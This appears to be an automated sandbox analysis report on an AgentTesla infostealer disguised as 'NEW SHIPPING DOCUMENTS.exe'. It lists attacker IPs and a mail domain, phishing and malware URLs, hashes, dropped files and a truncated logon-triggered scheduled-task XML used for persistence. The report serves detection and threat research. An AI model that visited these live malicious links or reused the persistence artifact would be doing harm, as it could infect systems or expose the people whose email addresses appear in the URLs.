212.44.102.65	new order.exe	Get hash	malicious	AgentTesla	Browse
212.44.102.65	SMBKT-20242005.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	new order.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	http://loginmicrosoftonline.al-mutaheda.com/expiration/notice/nRrRc/receiving@accel-inc.com	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	Employee_Salary_Update.docx	Get hash	malicious	Unknown	Browse	104.26.12.205
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://www.explorium.ai/notice-of-processing-for-eu-residents/?email=fabrice.duval@socotec.com	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://www.explorium.ai/notice-of-processing-for-eu-residents/?email=fabrice.duval@socotec.com	Get hash	malicious	Unknown	Browse	104.26.12.205
	VRO.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	104.26.13.205
	VRO.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
mail.stilbo.eu	new order.exe	Get hash	malicious	AgentTesla	Browse	212.44.102.65
mail.stilbo.eu	SMBKT-20242005.exe	Get hash	malicious	AgentTesla	Browse	212.44.102.65

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	new order.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://qvg.soundestlink.com/ce/c/6783ea8fa36d871b210a875d/678648091eb09f6bc9efe05e/678648224da9c434ec77e1fc?signature=c3a7b24183dde70b3cc2cefa1e1d5f8ff6f1d434aea3b4c4cfdeccd85ad85929	Get hash	malicious	Unknown	Browse	104.18.42.178
	MDE_File_Sample_c404ec52446527b77da6860ca493ea2007ac03d5 (1).zip	Get hash	malicious	Unknown	Browse	104.16.148.130
	https://url.rw/ddj4f	Get hash	malicious	Unknown	Browse	1.1.1.1
	Invdoc80.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.18.22
	https://padlet.com/prowebsolutions488/new-message-jba6y6w7rg9tzzmn	Get hash	malicious	HTMLPhisher	Browse	104.22.67.248
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://androiddatahost.com/sdsd3	Get hash	malicious	Unknown	Browse	104.21.80.92
	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
DHH-ASSI	new order.exe	Get hash	malicious	AgentTesla	Browse	212.44.102.65
	Nowe zam.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	212.44.112.138
	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	212.44.112.138
	SMBKT-20242005.exe	Get hash	malicious	AgentTesla	Browse	212.44.102.65
	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	x607DB0i08.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	x7RlIzQDk1.exe	Get hash	malicious	Unknown	Browse	212.44.102.75
	EwK95WVtzI.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	OWd39WUX3D.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	new order.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	NLWfV87ouS.dll	Get hash	malicious	Wannacry	Browse	104.26.13.205
	542CxvZnI5.dll	Get hash	malicious	Virut, Wannacry	Browse	104.26.13.205
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/b/?_encoding=UTF8&_encoding=UTF8&node=3024314031&bbn=16435051&pd_rd_w=VSdHJ&content-id=amzn1.sym.01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_p=01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://ziyahid.github.io/netflix-clone	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	http://pub-35a1d927529e4c9684409537cf8ff63f.r2.dev/docu/e_protocol.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	http://emeklilereozeldir.org/	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://industrious-tomato-ngvkcs.mystrikingly.com/	Get hash	malicious	Unknown	Browse	104.26.13.205

Process:	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RvUJzKx.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\RvUJzKx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380134126512796
Encrypted:	false
SSDEEP:	48:+WSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:+LHxvIIwLgZ2KRHWLOug8s
MD5:	4E5AEFBECDD6A24C184CDD8FDAAD6B84
SHA1:	0DE69FB509C5811701792B3876F5147C23E6B90B
SHA-256:	F53109B6058DB6F19701209D49D943D7A95897C89F267B81684CFB8CDE73A83C
SHA-512:	15CB74549A26E726FBC89CCE29B9B79BB3CE7E9DFAE02B822A7C2A29370DC16C660BFB91E9B4820F6DC1E60E9C8AE1A2BA1B408257FD43ECD5F565B8F6A0BE85
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p4jyn30.xrz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_51yflde4.045.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwcdgyqm.550.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2wwfs0b.0bh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3n3umgl.dcg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lrwlue3o.rvb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1vu3hdt.f3z.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqmf55dx.iny.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp1B68.tmp

Download File

Process:	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	5.102100632208249
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLTz+xv:cge7QYrFdOFzOzN33ODOiDdKrsuTryv
MD5:	35D39C2EF31F5D1298BAC677EBC70012
SHA1:	83E2EF0BBEBF4B6A960F429AB84C2338C3002E40
SHA-256:	FCCC40BB3FF8386F78D4D1B12C8603431D749599A52798FB287373BB02BE9D66
SHA-512:	AC47849703C026D2DA4BD21A4CF7643AA0A13BF7F7168B9129EBB35F9CFD245B2FF3FAD4F29BD1D78BCEA24274DFC1511549082CE5E971627135906A0D7B6535
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\RvUJzKx.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	5.102100632208249
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLTz+xv:cge7QYrFdOFzOzN33ODOiDdKrsuTryv
MD5:	35D39C2EF31F5D1298BAC677EBC70012
SHA1:	83E2EF0BBEBF4B6A960F429AB84C2338C3002E40
SHA-256:	FCCC40BB3FF8386F78D4D1B12C8603431D749599A52798FB287373BB02BE9D66
SHA-512:	AC47849703C026D2DA4BD21A4CF7643AA0A13BF7F7168B9129EBB35F9CFD245B2FF3FAD4F29BD1D78BCEA24274DFC1511549082CE5E971627135906A0D7B6535
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Roaming\RvUJzKx.exe

Download File

Process:	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	797696
Entropy (8bit):	7.6166130615820675
Encrypted:	false
SSDEEP:	12288:/bdhloJNhQ/cWS7stavkg+t7di+u6VNPD0xvUPoCsTDW4nlpVOWN6fc/WwBZfvo:fiJN+UVsCkgOkQNPQ2oCsWys0xpBZfA
MD5:	10A2684AAE3F75A984DC63506E8ED8DC
SHA1:	99A1EF344D13F5B44F3B0526F44072154E30641B
SHA-256:	6F094AA75A8322555241FAE3063C17075A6ED5166BFB41C9055C390278178D6B
SHA-512:	4D001589415898B61F52F01A652A268E3919BC6CED17B12ABFBDCC71C64E49F3BF92B00E0F89ED64F120600B95A79FEC23406AFA3F7B8587552BD270424B1526
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\|:................0.."...........A... ...`....@.. ....................................@..................................A..O....`..................................p............................................ ............... ..H............text....!... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................A......H........{..8i......x...T...h9............................................{...."..}......{...."..}......{...."..}......{...."..}......{...."..}........0..z........ ....}.......}......}......}.....s....}.....s....}.....(........+..{.... ....o .....{......o!...o".......X...........-....0............{.....+...0...........r...p..r...p..r-..p..r?..p..rO..p..r_..p............s....}....~....(#.......9.....~....s$.........8`.......X.............YE........1...`...........

C:\Users\user\AppData\Roaming\RvUJzKx.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.6166130615820675
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	NEW SHIPPING DOCUMENTS.exe
File size:	797'696 bytes
MD5:	10a2684aae3f75a984dc63506e8ed8dc
SHA1:	99a1ef344d13f5b44f3b0526f44072154e30641b
SHA256:	6f094aa75a8322555241fae3063c17075a6ed5166bfb41c9055c390278178d6b
SHA512:	4d001589415898b61f52f01a652a268e3919bc6ced17b12abfbdcc71c64e49f3bf92b00e0f89ed64f120600b95a79fec23406afa3f7b8587552bd270424b1526
SSDEEP:	12288:/bdhloJNhQ/cWS7stavkg+t7di+u6VNPD0xvUPoCsTDW4nlpVOWN6fc/WwBZfvo:fiJN+UVsCkgOkQNPQ2oCsWys0xpBZfA
TLSH:	7105C0C03B257711DE6CBA74853AEDB863A42E28B004F5E26EED3B8775D9203991CF45
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\|:................0.."...........A... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4c41d2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xEAEA3A7C [Sun Nov 21 23:02:20 2094 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
lodsd
fiadd word ptr [eax]
add bh, ch
mov esi, CAFE0000h
add byte ptr [eax], al
mov esi, 000000BAh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc4180	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc6000	0x5ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc1dbc	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
